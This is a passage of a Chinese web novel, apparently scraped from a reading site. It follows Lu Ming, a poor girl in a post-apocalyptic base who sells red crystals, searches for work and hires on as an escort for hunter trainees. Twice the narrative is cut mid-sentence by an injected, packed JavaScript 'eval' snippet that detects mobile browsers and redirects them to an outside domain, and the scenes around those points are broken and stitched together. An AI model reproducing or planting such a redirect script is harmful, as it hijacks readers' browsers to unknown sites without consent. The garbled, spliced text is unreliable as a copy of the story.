那张桌子上有个类似于触屏显示器的东西,陆张时不时在上面点两下,她眼热好久,一直想上手摸摸,可惜总是找不到蹭一蹭的机会,只能在桌边晃来晃去。 那宝贝玩意儿说没就没了。 “信号基站覆盖不到的地方才用得上这东西,算半个废品吧。”尤维完全不理解小姑娘语气里暗含的可惜,甚至在怀疑是自己太久没见到正常人,语言系统紊乱了。她朝宋平招手,接过麻袋,拉开袋口。 深浅不一的赤晶赫然出现在路名眼前,差点亮瞎她的狗眼。 “认认看,还记不记得哪些是你的。” 路名挑挑拣拣,把几个叔叔送的小鸽子蛋、大鸡蛋都挑出来,和其他的相比,这些赤晶的色泽暗淡很多;接着,她跳出亮晶晶的、大约有一拳大小的赤晶,挑到第三块时,一只手按住她。 是尤维。 尤维轻轻咳一声:“我们不是瞎子,你这细胳膊腿儿的,哪儿能搞来这么多赤晶,差不多得了。” “这些是叔叔们送我的,这种好事没几次,叔叔们心疼我一天只吃一顿,之前都是有心无力,帮不了太多。”路名期期艾艾说完,拨出一堆,又指着另外两颗,“这是我捡来的,不是我挖的。没出现红兽时,那个山洞有不少这种赤晶,我跟着老鼠们捡的。接下来才是我挖的。” 老鼠? 宋平和尤维互相看一眼,尤维径直走出去。 路名趁机又从袋子里掏出两个大的。到第三个的时候,直尺横在前面。 这一次,是宋平。 宋平低头看地,“差不多了差不多了,这种品质的赤晶你拿几个别说出去就行。我们有那么凶吗?该你的就是你的,还怕我抢了你的不成?” 路名仔细端详这两个大赤晶,热呼呼的,亮晶晶的,和之前那些确实不一样。 拿一个赚一个,拿两个赚翻。 宋平把麻袋揽进自己怀里,“那现在,我们来算算账啊。毕竟我们是猎人,只是杀杀红兽,救人不是我们的任务,应该是那位,对,那个晕倒的家伙。我们救人用的都是自己的物资,要钱的。首先,把你救出来,一个赤晶,举手之劳,就一颗。” 举手之劳? 路名眼睁睁看着一个小鸽子蛋被扒拉走,还是用那把刻有八卦图的直尺,顿时心痛无比。 “你身体营养亏损严重,我们给你打一剂营养针,需要钱吧?再来一颗。”宋平伸出直尺,直奔中等大小的赤晶,用巧劲儿挑进袋子里。 路名:“……” “别瞪我,瞪也没用,还有一针呢,死贵死贵的。你被红兽血浸透了,我们给你上药,不上药说不定你现在也被感染了,知道吧?可以说是我们和那支药救了你,你想你的命有多值钱,那支药剂贵自然有它贵的道理。哎,谁叫你倒霉,红兽就死在你身上,不用不行啊。”宋平像个说书的,嘴皮子一张一合,三两句剜走路名的心头肉——最大最亮的两颗赤晶之一。 路名:“……” 也行吧,好歹还有一个,钱重要命重要?命重要。 “老宋,我们准备走了。”尤维撩开帘子,一眼瞅见老宋蹲在地上,那小姑娘就在对面,眉眼低垂,像是守着一地赤晶泫然欲泣。她“噌”一下冲过来,拧起宋平的耳朵将人拽起来:“队长不是说了不要为难人吗?几个赤晶的事儿,非得把人家惹哭是吧?好玩儿是吧?” 宋平大喊冤枉。 路名看一眼这俩人的相处模式,忽然觉得有点亲切。陆师兄喜欢捉弄她,田师兄就替她打抱不平,两人一言不合就能干起来,不知道现在,他们在做什么…… 恰好这时候,队长支飞羽听见动静走进来,宋平喊冤叫屈更加大声。 路名悄悄瞟一眼角落里的黎叔和陆张,两人都没有醒。得,刚刚的费用想找人报销都没人作证,毕竟花的都是“赃款”。 支飞羽陆陆续续听完全过程,蹲下来问:“不服气?” 尤维手一松:“……”呔,要干架? 宋平摸摸红彤彤的耳朵不说话,难怪队长长这么帅也没女人缘,这说话方式也忒吓人了。到底谁才是为难人的那个啊。他不满地瞥一眼旁边严阵以待的尤维。 “我是太感动了。”路名低头把脸埋在怀里,小声说。 尤维:? 宋平:?! 支飞羽顿住,“为什么?” “我没吃饱过,如果不是你们给我打一剂营养针,我都不知道原来吃饱饭的感觉这么好。我没什么机会赚钱,吃不到多少东西,红兽也遇不到几次,而且因为我年纪小,之前都没机会进去过,这么多年,一直都是这么过来的。这种吃饱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“臭小子,你知道这车还剩多少油吗?送他?能够我们回去就谢天谢地了。难不成你还想等齐鲁工会那些人过来和你磨嘴皮子?”老杜勃然大怒,目光却是恶狠狠地盯着路名,“滚远点!” 宋平走过来:“老师,她一个人生活在这。” “哦,所以呢,你想说什么?”老杜伸手掏耳屎,对这话中的深意置若罔闻。 尤维将宋平拨到一边:“老杜,我们得带着孩子回去。那个大个子要是残废了,这孩子肯定活不下去。” 老杜“嗯”一声,眯起眼睛在四人脸上扫一圈,最后,目光落在支飞羽身上:“你是队长,你说了算。现在,你怎么看?” “一起回去。”支飞羽言简意赅。 老杜一巴掌拍在方向盘上,气笑了,“好,队长说什么就是什么,但那个人我不能带走,燃油不够,没有异议就现在上车!” 支飞羽坐在副驾驶,尤维和宋平在后座。 路名刚准备上车,司机突然拍门框,斜睨过来:“喂,你是孤儿?想搭顺风车进入城区,可以。但,以后的日子得看你的本事,要是死在城里,可别怨恨我们。人,最起码得知恩图报,懂吗?” 路名走到他面前,和他平视,“谢谢。” 车门“砰”一下关上。 宋平和尤维诧异地对视一眼:难得,老杜竟然没说什么。 “走了。”老杜吆喝一声,踩下油门。 贫瘠的山色慢慢向后倒退,车辆进入平原,灰白的天空占据大片视野,道上没人,他信手摆弄方向盘;薄雾中,一号基地的高墙渐渐显出轮廓,涂抹特殊溶液的墙体在阳光下微微反射暗绿色的光。 看到高墙,老杜突然想起一位故人——一号基地的创始人之一,研究院初代研究员,编号004,未来集团创始人,同时,也是他毕业后第一支小队的副队长,言榕。 想起和那家伙第一次干架的情形,他顿时明白刚刚那股怪异的感觉是怎么回事:那孩子说话的样子和言榕很像,明明五官完全不一样,但那双眼睛却和他一样,好像会打人。难怪他会觉得那孩子说话的样子一点都不陌生,甚至有些熟悉。 “喂,后面的,你叫什么?” “路名。” 5. 打工 车驶入城区,没过几分钟就停下来,拐进一处仓库。 “这种车只能开到这儿,一会儿云姐过来收车,你们,你,和你,先别跑,把枪和药分装好送回去。”老杜喊住准备开溜的宋平和尤维,一手提一个,把人拉去当苦力。 支飞羽站在旁边,确认不需要插手,转身问站在旁边的路名:“我先带你去附近转转?” 路名欣然同意。 城里和山里不一样,到处都是人,尤其是这间仓库。人们来来往往,身上无时无刻不在散发汗臭味,蒸出人肉味儿。在车上可以开窗,现在,仓库里连一点风儿都没有,又闷又恶心。 两人径直穿过广场。来往行人衣着随意,甚至有不少人只能算是用布块勉强遮蔽身体,在努力拉车做工;一身简单装束的支飞羽穿梭在其中,显得格格不入。 资源集中,贫富差距拉大。 路名猜过这种社会机制,但当她亲眼目睹,仍旧心惊胆战。 他们来到一处告示栏,上面张贴一张详细地图——第一基地地图概览。绘图者用红橙绿蓝四种颜色、以红色为中心向外环状散开,将整个地区划分成四块,中间间或有一些灰色地块,旁边有标识:红色是上城区,橙色是中城区,绿色是下城区,而蓝色则是无证民居,灰色建筑闲人免进。其中,红色地区的灰色最少,橙色、绿色渐次,蓝色最多,成堆扎在一起。 显然,这位队长口中的“转转”仅限这张图。 路名大致浏览过这份地图,对整个基地有初步的印象,只剩些专有名词不甚了解。 “什么是无证民居?” “这里的人和你一样,都是从城外来的,还没有取得居住证的人。” 居住证?这倒不是新鲜的东西。路名之前上大学时在学校迁过户籍,想在当地买个房子,当时一户难求,要么有居住证,要么有户籍,这是前提条件。 “我能办居住证吗?”路名转身,发现这位队长在玩袖口的线头。 什么人,多大了还玩线头! 支飞羽迅速抬头,把线头塞进袖子,双手插兜,一本正经地问:“你要办居住证?那得查一下要多少积分。” “赤晶不可以吗?”路名拉开包,露出里面的赤晶。 来的路上,尤维从后座摸到一个旧包,刚好能装点东西,随手送给她装那些宝贝疙瘩,美名其曰“都是蹭的,不拿白不拿”。如此美好的品德,如此简朴的作风,路名深表赞赏。 支飞羽从包里掏出银色手环,打开光幕,边操作边说:“城区内不用赤晶交易,你可以送到未来集团下的‘典当铺’,他们会按照目前的市价给你折算积分。居住证在官网上标价二十万,如果你要办居住证,得先有光脑,就这个,方便工作人员联系你。” 路名摸了摸包里的赤晶,将二十万的希望寄托在最大最亮的独苗上。 二十五分钟后,路名将半包赤晶一股脑儿倒在银盘上,服务员小姐笑容满面,双手收走银盘,分类后放在窗口内的秤上称重,“您好,一共是三块上品,七块中品,十二块下品,另外,这几个我们不收。一共是96322积分,非常感谢您的惠顾。请问您的账户编号?” 路名将几块鸽子蛋扔回包里,心痛到滴血。 就算有最大最亮的独苗加持,距离一张居住证还差十万多,上哪儿搞来这么多积分,她又不是靠空气活着! 支飞羽戳了戳低头的路名,“账户,编号。” 路名摇头。 就算她有账户,那都是在孔大户名下,鬼知道她的编号是什么。 服务员小姐面色一僵。一位气宇轩昂、衣着不凡、年纪轻轻的男人出现在无证民居本就是一件稀罕事,身边还跟了一个水灵灵的黑户,这这这……自诩见多识广、阅尽人生悲剧的服务员小姐顿时怜悯地看一眼小姑娘,撑起职业素养笑对帅哥。 人不可貌相,但这人是贵客! “请问要开户吗?” “要。”路名补充道,“把那些积分存进新账户。” 再花时间去可惜“路名”之前攒的积分没有意义,她得尽快找到工作,从零赞起! “好的,那么,先生,您是担保人,对吗?”服务员小姐笑盈盈地从柜台里拿出触屏笔和面板递过去,敏锐地洞察到男人眼中一闪而过的无措,心中冷笑,更添唏嘘。 路名还不知道这位队长的名字,凑过去一看:支飞羽。 路名:“!”难怪她觉得这人长得眼熟,原来是那位登过杂志的“支飞羽猎人”。 回想从进店到现在,服务员小姐看他两眼放光,看自己就毫无波澜,偶尔有点情绪也都是从支飞羽身上来的,路名秒懂:大概是和追星一族差不多。真敬业啊,全程都说废话,也没上来要签名。 “谢谢。”路名真诚地说。 支飞羽点头,把写有龙飞凤舞字迹的面板递进去。 服务员小姐开户速度极快。两分钟后,她用托盘将卡呈给路名——一个指甲盖大的芯片。路名捏在手上生怕一不留神掉了。这玩意儿比银行卡小多了,里面却有她所有的身价。 “这个要装进光脑里。”支飞羽提醒道。 路名:“……那买一个吧。这附近有光脑卖吗?” 只见服务员小姐在后台操作了一会儿,一个面板从天花板降下来,里面是各种各样的光环,她笑吟吟地问:“您喜欢哪一款?这一款雕花精致美观,比较受年轻女孩子追捧,我们还可以为您定制,而这一款非常轻便,几乎没有任何感觉,非常适合运动佩戴。” 支飞羽手腕上的就是这个。 路名扫一眼光脑下面的标价,七十九万一个!乖乖,路名咂舌,忍不住多看旁边的支飞羽两眼,这是大富哥啊,果然没看错,这哥们和师兄有的一拼,钱多心善。 路名扫一眼所有标价,最便宜的光脑都要六万多,足足够她三分之二的身家! 这可是基本需要的物品,竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635339|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然这么贵! “我们下次再来。”路名拉着支飞羽火速撤离。 服务员小姐收起面板,冷哼一声。一个装货也敢带妹子出来炸街,靠爹靠妈像模像样活着的狗玩意儿,在杂志上出出风头,私底下把无证民居的女孩子当什么了,免费的窑子嘛?这些二代们,真恶心。连个光脑都舍不得买,人家水嫩嫩的年纪还要看他的脸色,我呸! * 在无证民居转悠一圈,两人停在一处垃圾堆满门口的地方,支飞羽结束导航,收起光脑,“就是这,应该没错。” “那我在外面等你?”路名看一眼阴森森、破破烂烂的房子,有些怀疑这消息的真假性。别提卖只要一万块还有薄利的改装版光脑,这里真的有人住吗?还要求单人交易……规矩真多。 支飞羽低头审视一会儿,决定无视满地垃圾,一脚踩进塑料盒里。 “吱~”发臭发烂的汤汁噗呲一下溅出来,粘在他的腿上,像面条一样挂着,越拉越长;随着他往里深入,一身黑色战斗服逐渐“挂彩”。 路名站在外面,有些不忍直视。 五分钟后,支飞羽抱着一个二十厘米高的方盒走出来。 路名蹲在不远处的墙角,随便拔来一根狗尾巴草拿在手里玩。见到那个方盒子,她眼前一亮。这不是陆张摆弄的光屏吗,原来就是光脑啊!她急忙接过来,小心翼翼放在腿上,蹲在墙角摆弄。 “试过,能用。”支飞羽从领口的缝隙抽出一块方巾,遮住半张脸,“我回去洗澡。你找个地方住,不要在外面过夜。” 路名“嗯嗯”两声,注意力全在新鲜到手的光脑上。 玩了一会儿,她大概摸清这玩意儿的基本功能。除了毫无便利可言的通讯功能,就剩一个网页可用,其他几个软件,比如支飞羽来时用的导航功能,完全用不了,点开软件只有一片空白。 她从网上找到最近、最便宜的旅社,花两百积分订一晚,心疼到滴血;住房问题到顶,她开始浏览招工网站。 饮品店服务员,一个人六千起步。 路名火速填表发过去,还没从这家招工信息退出来,私信多了一个红点:她的申请被系统驳回。 理由:学历不匹配。 这工作和奶茶店服务员差不多,要什么学历,她要态度有态度,要时间有时间,要礼貌有礼貌,要能力可以学习……她点开招工信息界面,在最下角找到一行小字:学历在大学毕业及以上。 陆张就是大学毕业,有居住证,毕业做记录员;在这里,记录员这种铁饭碗就是摇奶茶的入门门槛! 路名两眼一黑。 学历贬值和地域歧视还真到处都是,穿越了都躲不了。 没关系,生活在于细水长流,只要她别入不敷出就行。挨个筛选了一个下午加大半夜,她好不容易找到一个不要学历的临时工作,一看报名人数两万六,入职人数三十,日薪一百五。 路名:“……” 6. 危险工作 秉持勤俭持家不浪费的原则,路名决定趴在两百积分的塑料橡胶床上通宵一夜,她先插电把光脑上能用的几个软件翻个遍,再预留时间充满电,她也趁机打个盹儿,七点准时顶两个黑眼圈出现在大堂。 八点是招聘的时间,她提前算过从这里走过去要半小时。 “你好,退房。”前台没有人,路名屈指敲了敲桌面,高喊一声,余光瞟到文创墙上大屏里的名字。 她在第二行,对应房号202。 突然,就在她名字下一行的“余光城”突然变红,紧接着,房间203挂上“空房”。 “咯吱~”正对前台的小门打开一条缝,露出一张苍白的小脸,嘴角有一颗黑痣。女人上下打量路名一遍,打了个哈欠:“退房?现在退房没有早餐供应,同意的话就在光脑上确认一下。” 附带早餐供应,房费加五十,一间房一晚二百五,路名脑子被驴踢了才用一穷二白的身家买这天价早饭。 “我赶时间,请帮忙退房,谢谢。” “你不会用光脑?”女人从架子上抽一件披巾披在肩上,边揉眼睛边走出来。 她扯来一把旋转椅,随手打开桌面系统。 路名从包里掏出小方块光脑,调出开房的二维码对准桌面摄像头,“滴”一声,大屏上的“路名”被“空房”取代,与此同时,光脑电量下降百分之一。路名火速熄屏。老物件就这点不好,耗电快,不耐用,眼下能省一点是一点,万人面试,还不知道要等多久。 搞定退房,女人懒懒地敷衍一句:“要是实在找不到地方住,欢迎再来,小店便宜好住。” 花200住一晚,路名真觉得牙疼心酸。 “老板娘,问你个事儿,成吗?”她拉住老板娘,舔着笑脸,指了指文创墙,“我刚才看203的客人名字变红,这是什么意思啊?” 她退房的时候,名字直接被替换,没有任何颜色变化。 “你说名字变红?那是人死了。”老板娘摁下桌边绿色圆钮,“房间203,现在就去收拾,看看有没有什么东西丢了少了,到仓库找两件换上,缺损的东西报到我这,下午我走一下,去找担保人赔钱。” 忙完这些,她抬头一看桌上有个影子,刚刚还忙着退房的小姑娘站在原地,神情木楞。 “你不是赶时间吗?怎么还在这?”老板娘有些不快地问。 “能问问死因吗?”路名嗓音微微梗住。穿越过来差不多有半个月,这是她第一次看见有人就在自己眼皮子底下死去,昨晚,他们或许就隔着一道墙,天一亮,就是两个世界。死亡,似乎触手可及。 老板娘一脚踢开椅子,拢紧披巾,“我怎么知道?东边有流感,西边刚抬出去一堆人,上城区那些少爷小姐要毕业,忙着找护卫队去送死,一死一大片,鬼知道这家伙死在哪儿。” “砰!”门被用力关上。 路名走出旅社,按照通宵收集的路线,她快速走出居民区;进入商业街时,早晨的阳光穿过不那么密集的高楼间隙,照在她背后,有一瞬间的温暖如一片羽毛,轻轻落在她身上。 远远地望见一大片人,人群之上,“锦程茶水铺”五个字龙飞凤舞挂在墙上。 ——这是路名要来应聘的地方。 人群乌泱泱一片,拉出一条街的气势,路名走近些,识趣地站在外围。只看穿着也能一眼看出,这些人和她不一样,她一件薄衫一条阔腿裤,哪怕好好梳洗一番,也藏不住清秀但贫穷的本质,而这些人虽比不上路张的从容,但也比她好太多。 听老板娘的意思,无证民居多的是无可奈何的穷人。 路名找个没人的角落蹲着,打算等第一批面试出来的人,随便找一个问问具体情况;刚坐下没多久,她就注意到斜对面一个大爷在摆摊卖油条,和沉默的应聘大军相比,那片小天地热络得很,而且男生人数奇多。 路名凑过去,没等她听清楚这些人在说什么,一阵油条香把她肚里的馋虫勾出来。 走近一看,一根油条80,加鸡蛋一百五。 路名:“……” 路名站在不远不近的地方装模作样排队,她听了一会儿,发现这卖油条的大爷是个猎头。 卖油条是假,介绍工作才是他的正经营生。 “大爷,你说的工作一天一万积分,真有这么好的工作?”站在路名前面的寸头男孩挤进去问。路名脚下一拐,往包围圈里面凑一凑。 “这机会啊,一年才一次,一次只有一个月。危险是危险了点,但只要坚持干下去,哪怕在里面混时间,钱一分不少,接下来十一个月勉勉强强弄点钱够过日子,不舒服吗?”大爷从容地捞出锅里五根大油条,撂下夹子,颇有股气吞山河的架势,“最后五根,谁要?” 一秒钟,五根油条被瓜分一空。 大爷一拍桌案,开始麻溜儿地收东西,那五个买油条的小伙子也非常有眼色地帮忙搭把手。 其余人一哄而散。 余震满脸失望,转身,被一个黄黄的脑袋瓜子吓了一跳。这小孩儿贴在他后面,他差点儿把人撞翻下台阶。“你怎么还不走?”他问。 “买油条……” “你脑子坏了还是钱多得用不完?你家没人管你,上赶着找骂吗?买油条的话,往南边走,过两条街,河对岸有个‘松风仓库’,仓库边有一对老爷爷老奶奶也卖油条,五十一个加鸡蛋。”余震满脸不耐烦地说完,刚走几步,袖子被人拽住。 “你知道哪里能赚钱吗?”路名坚信这个一脸煞气的男孩绝对能改变自己目前的窘境。 十分钟后,路名跟着余震来到“松风仓库”,每人在旁边的早餐车上买一根加蛋的油条,火速吃完。余震走在前面,路名跟着他走进仓库。 刚踏进门,一股扑面而来的汗臭和血腥味差点把她熏吐。 “还进去吗?”余震一挑眉,抬脚准备出去。他今天烦得很,刚刚怕是脑子被门夹了才答应带这小姑娘来这里。 “进。”路名深吸一口气,抬脚进去。 仓库里有一丝凉风。 据余震介绍,这里是护卫队的临时聚集点,来的大多是男人。 这些人或瘦弱或壮实,身上带伤,手上拿武器的,三三两两形成一个个区块,随便找个地方蹲着,而仓库唯一的通风口摆放一张桌子,一个穿 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一身贵气的男孩伸手拿过仪器,仔细看一遍,还是有些不相信,“你下过红兽巢穴?” 红兽巢穴那都是正经猎人组队进去的地方,凶险异常。 他姐就是猎人学校的见习生,衣服一脱全是肌肉,邦邦硬,力气大得要死,个子还高,今年毕业,到现在也没机会出过一次正经任务。这小孩儿看着比他小,还营养不良,难不成还比他姐厉害? “昨天刚回来。”路名言简意赅。 “你怎么进去的?”余震忍不住问。他实在没想到自己阴差阳错还能找到一个从红兽巢穴活着回来的人,流感加上大频率的护卫队召集,现在整个无证民居都找不到多少个这样的。 “在里面打工,老鼠变异了,躲得快,就活着出去了。”为了增加竞争力,尽快上岗就业,路名刻意淡化了支飞羽小队的作用。 说来说去,她活着回来就是硬道理。 宋何正顿了一下,把桌上的少年拉过来,指着他说:“你一天三万,我们的要求是你跟着他,寸步不离,死了的话,我们会向你的担保人追要赔偿。” “这么多!”余震惊叹。一般只有八千,一万都是极少数,三万,什么概念啊! 此时,路名的注意点已经跑到另一边: 追要赔偿? 她只听过因公殉职追加荣誉大力补偿的,还没听过死都躲不掉赔偿的,奸商,邪恶的大奸商! 签完协议,宋何正让出另一把椅子,“防止忘了,你离我们近一点。过会儿还有猎人学校的见习猎人过来,你们互相认识一下。” 路名深表认同:三万一个的超级牛马,确实不能在眼皮子底下放跑了。她来开椅子坐下,小声问蹲在旁边的余震:“他们要去很危险的地方吗?” 见习猎人,听着就很厉害。 “一号基地东边有一片滩涂,听说有水陆两栖的红兽经常在那里出没。一般上城区那些学生毕业前都要出去一次,不知道他们两个为什么选了那个地方,但那片滩涂是挺危险的。” 7. 牛马大队 从一号基地去东边的滩涂要三天,路名坐在卡车副驾,被颠得想吐。 她包里除了快要没电的光脑,还有二十支最低级的营养液,两把金属制、长短不一的匕首,一面巴掌大的菱形护盾,鼓囊囊、沉甸甸地卧在腿上。这些都是她和余震中午出去买的,斥巨资一万三,武装自己的一条小命。 听余震说,一次护卫任务长则三天,短则两天,她买二十支营养液,一天两支维持体能,除去六天路程,绰绰有余。 “叱~”出城过安检,司机大哥猛踩急刹,和前面的越野车保持一段距离。 “怎么回事,怎么都赶着今晚出基地?”司机大哥用力一拍方向盘,摇下车窗往下面看,刚想骂两句出出气,一看下面的武警和迅速通过的猎人队伍,顿时不说话了,小声嘀咕两句“什么情况”“还去不去”云云。 路名捂着撞在玻璃上的额头缩在角落里小声吸气。她晕车,这一撞,脑子痛得清醒。 “大哥,出事了吗?”她挣扎着坐起来。 “你自己看。”司机大哥侧身让开一个视角,咂舌道:“乖乖,这么多猎人,还不知道能不能出去呢。” 这是路名第二次看到猎人。 和支飞羽一行纯黑着装不同,这些人的背后印有不同的图案。他们前进的速度很快,几句话的功夫就只剩下一片背影,路名快速捕捉衣服上的图案,只认出齐鲁工会和红月工会,另外还有两个陌生的图案。 “四个工会一起行动?” “还有武警。”司机大哥啧啧两声,感叹道:“红月工会,齐鲁工会,逐星工会,还有淮霆工会,出动这么多人,十有八九是大型红兽群。哎,可别和我们一条道,那今晚想出去是不可能了。” 路名摇下自己那侧的车窗,右手握住后视镜,努力往外探。 那个上城区的学生从越野车上下来,旁边站着一个个子高高的人,光太多,她看不清那人是宋何正还是新来的见习猎人,只能依稀看到他们和佩戴红色警戒标识的武警说话。 安检处一片发动机的呼喝声,没有人敢鸣笛。 路名仰头看天,今晚没有星星,夜空很黑,很陌生,和前世的繁荣都城相比,这座基地连光污染都没有。 下雨了。 路名缩回副驾,从包里拿出一支营养液,喝下半瓶,封好盖子,再拿出闲置一天的光脑。 “滴—”开机。 蓝色的屏幕亮起,右上角几乎空壳的矩形电池图案和18%的电量格外刺眼。路名安慰自己:好歹还有百分之十八,不错了。 她滑动屏幕,罕见地看到通讯软件上有个红色的“1”。 有人找她?她从没有添加好友,光脑的信号覆盖全部免费,就算是这座基地负责通讯的运营商吧找来,也没理由要网费。 带着一点点疑惑,路名点开通讯软件,最上方第一行清晰地出现两行字: 【一支飞羽: 光脑一万,转账,谢谢。】 路名:“……”呵呵,原来是来要债的。 俗话说,有借有还,再借不难。 路名对自己的未来深感绝望,而支飞羽是她目前唯一一个人脉,得罪不起。她捣鼓一会儿,摸清转账功能,火速把一万积分转过去,并配文诚恳道歉,解释自己在找工作,把这事儿忘记了。 搞定这些,路名扫一眼电量:12%。 突然,通讯软件上亮起一个红点——支飞羽在线! 【一支飞羽: 无证民居的大部分工作都被内定,就算有漏网之鱼,也都有很多苛刻的特殊要求。】 路名把手放在小型键盘上,正在心里组织语言,卡车突然发动。 能出去就意味着那个大型红兽潮不在东边,三万的积分还有指望。路名松了口气,冷不丁,膝盖上的光脑猛地朝前窜,她心里一惊,快速捞回来,顿时冷汗连连。 “放心,哥技术不错,出来有段路平坦,你继续。”司机大哥边加速边说。他一笑,露出两排缺口的黄牙。 路名点点头,抓紧时间和电量、晕车赛跑。 【道爷: 你没去基地外?】 【一支飞羽: 只有四年级的见习猎人有资格报名参加,我是一年级新生。你怎么知道今晚的行动?你也要去基地外?】 支飞羽的手速很快,和白天那个在地图前低头玩线头的人不同,在网络上,他更活跃。 ——宅男。 路名给他贴上标签。 【道爷: 护卫队,一天三万,我想尽快凑够钱办理居住证,进入下城区。】 上城区12区,一座三百平别墅坐落在假山上,两边的池水在细雨中泛起阵阵涟漪,揉碎从窗口映出来的灯光。 支飞羽半躺在单人沙发上,看到光脑上的一排字,腿一蹬,头往后一仰,埋进充气沙发里。过了会儿,缝隙里传出一阵气流声。支飞羽长叹一口气,揉了揉毛燥的齐肩中长发,敲下一行字: 【见习猎人最高一天两万积分。你注射的那支特殊药剂学名碎红AH-133,除了快速去除感染,注射者在一周内免受红兽血影响。】 一键发出。 十分钟后,支飞羽关闭光脑,随手摘下,扔到桌子上。 算了,不回拉倒。他管那个小乞丐干什么,老杜警告过他人各有命,生死在天,他管东管西根本就是自讨苦吃。 此时,路名正在颠簸的卡车里轻拍光脑。 几分钟前,她还在等支飞羽的消息。随着卡车颠簸,脑子越来越晕,她一不小心松开手里的光脑,方形疙瘩咕噜一转在车厢里“乒乒乓乓”溜达一圈,黑屏躺在她脚下。她又急又气,又怕力气大了这个小破烂被她拍成稀巴烂,气到用最大的力气和黑屏大眼瞪小眼。 “没电了?” 司机大哥猛打方向盘,拐过弯,调整车身,“别急。这旧东西除了用电快,其他地方都挺结实,耐摔。我丫头也有个一样的,三天两头摔一次,充满电照样能用。等大后天到了目的地,要是放晴,你就把光脑放车顶充电。车顶有太阳能板,充满应该没问题。” 雨越下越大,雨刷刮下一大滩水,顺风往后呲。 路名把光脑放回包里,“谢谢大哥。到了地方,大哥你不和我们一起下去?”< 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没有晕车药,她睡的也不安稳,经常腿抽筋,反反复复好几次后,她眯着眼睛都能摸到抽筋的地方,熟门熟路按摩一会儿,继续睡。换班的司机都见怪不怪。 第三天早上,天空放晴,两辆车经过简单休整后重新启程。 司机轮班换到那个大哥,他爬进车厢,路名正好喝空第三支营养液,伸着舌头舔瓶口的残余。 “还有一个小时就到了。”司机瞄一眼路名,见她又要睡去,稍稍提高声音,“到那儿不会休整,直接进去,你要不再喝一支营养液?” “我可以下车喝。”路名坚决不浪费一滴营养液。 司机大哥从抽屉里拿出一面圆镜,镜子背面早已磨光,有几块红泥粘在上面,隐约能看出一点形状,“你照个镜子看看。” 路名接过镜子。 镜子里的她和那天在旅社水池上看到的一样,苍白,瘦弱,脸上有一些细小的伤痕,似乎是旧伤,丑是丑了点,不妨碍活着;而现在,她比之前的样子更甚,双眼无声,嘴唇发白,头发黄黄的粘在头上,几天没洗,油了,一副乞丐打扮。 路名将镜子还回去,摇下车窗,对着后视镜重新扎个马尾,再打开一支营养液,一股脑儿灌进去,晃了晃空瓶,才盖上盖子,塞进包里。 高端牛马得有高端的样子,一天三万,她可不能碍雇主的眼。 做完这些,路名把包从怀里放到旁边,开始检查包里的东西,重新归置。一旦遇到危险,第一时间抽出武器,保住小命,才是她接下来三天最要紧的事。 路名先确认背包拉链的位置,根据开口调整长匕首的方向,然后是短匕首和盾牌。 盾牌之下,光脑之上,是剩下的十六支营养液。 她将背包靠在一边,开始卷裤腿。也不知道是太阳太大,还是两天一夜的路程把她带到更远的地方,她感觉这里的体感温度比之前高了不少,空气更干燥。 裤子很薄,三两下卷到大腿,路名突然发现大腿上的条条白色纹路,像板块运动割裂的海沟。 这是……生长纹? 8. 泰林(1) 卡车逐渐提速,颠簸到令人发指。 路名瞄一眼表盘,车速直奔三百。她暗自震惊司机的抗震性,干脆闭眼摆烂。 十分钟后,卡车在一片茂密的树林中停下,路名慢慢睁开眼睛,听到司机大哥在和前面越野车上的宋何正沟通。 ——他们遇到一片乱石。 大小不一的石块堆在一起,压垮灌木,撞断幼小的树枝,把细瘦的树干生生撕开一道口子,分泌的枝叶凝固在伤口上,一个个大如拳头的蚊蝇趴在上面贪婪的吸食。 关闭通讯器,司机大哥停车熄火,“下车吧,前面走不了。” 路名摇下车窗,空气又热又湿,还带有一种隐秘的腐臭味,很闷,她探出窗外,发现这片树林极高极大,阳光穿过茂密的树叶,只能投下丝丝缕缕的金线。 “我们不是要去滩涂吗?”她听余震说过,上车前,宋何正也说过。 但这里,显然是一片树林。 “前面是座矮山,从旁边绕过去就到了,天气好走矿洞更快。啧,鬼知道这些石头是从哪儿来的,问前面那个人,他没带无人机,也不知道这片石头有多长,这车我改装过,能走,但经不住长时间压在乱石上。所以,你们下车徒步过去是最妥当的。”司机大哥边解释边爬上靠背,用力拍。 后面的车厢传来窸窸窣窣的动静。 他伸手从上方拿出一个箱子,打开盖子,露出整整齐齐六十支营养液和八个面包,六瓶水。 “我们要走多久?”路名仅剩十六支营养液,如果徒步时间过长,即使侥幸活下来,她也没有足够的营养液回到一号基地。 “快的话,一天就行。”司机大哥把这些物资分成两份,另一份是换班同事的。他突然意识到自己忘了一件事,转过身,略带歉意地说:“这片林子大进化之前就存在了,树高,没有阳光,太阳能板用不上,你的光脑我没办法帮你充电。” “没事,回去充也一样。”相比之下,路名对“大进化”更感兴趣。 她终于找到可以解释“赤晶”、“猎人”、“一号基地”这些陌生的东西的存在——大进化。 “邦邦邦~”车门被敲得震响,路名低头一看,是那个学生,对视一眼,这家伙毫不客气地命令道:“下来。”路名从善如流快速下车,多停顿一秒都是对三万积分的蔑视。 大老板来了,大进化什么的都得靠后站站,她得打工生活。 “跟我过来。” 学生把她带到越野车附近,除了宋何正一个熟人,那里还站着三个一身黑的高个男人,远远看一眼就能感受到精悍的气势,和宋何正他们完全不同。他们应该就是传闻中的见习猎人。 见习猎人两高一矮,中间那个稍稍矮半头,也更壮,他先开口:“白旗亭,这就是你说的红月工会的那个人?” “你也不认识?”白旗亭略感惊讶。 原来这个学生叫白旗亭。 路名抬头,视线扫过三人,吐出三个字:“你们好。” “没听说红月工会在无证民居捞人。”左边的瘦高个小声嘀咕,每一个字都能清晰地落到在场六人耳中。 